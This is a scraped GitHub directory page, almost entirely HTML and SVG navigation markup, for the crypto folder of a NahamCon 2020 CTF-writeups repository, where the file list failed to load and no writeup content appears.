version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> noob-atbash </span> <span>/</span> CTF-writeups
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>4</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>9</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/noob-atbash/CTF-writeups/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":268353024,"originating_url":"https://github.com/noob-atbash/CTF-writeups/tree/master/nahamcon-20/crypto","user_id":null}}" data-hydro-click-hmac="65abb35ca1518c6be88127484d68335a13c46271c8aa6e629ce48fe6e77646f2"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/noob-atbash/CTF-writeups/refs" cache-key="v0:1590954931.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="bm9vYi1hdGJhc2gvQ1RGLXdyaXRldXBz" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/noob-atbash/CTF-writeups/refs" cache-key="v0:1590954931.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="bm9vYi1hdGJhc2gvQ1RGLXdyaXRldXBz" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-writeups</span></span></span><span>/</span><span><span>nahamcon-20</span></span><span>/</span>crypto<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-writeups</span></span></span><span>/</span><span><span>nahamcon-20</span></span><span>/</span>crypto<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/noob-atbash/CTF-writeups/tree-commit/3c4f9c25171916f6fb184a5a4972b560aa172298/nahamcon-20/crypto" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/noob-atbash/CTF-writeups/file-list/master/nahamcon-20/crypto"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>img</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
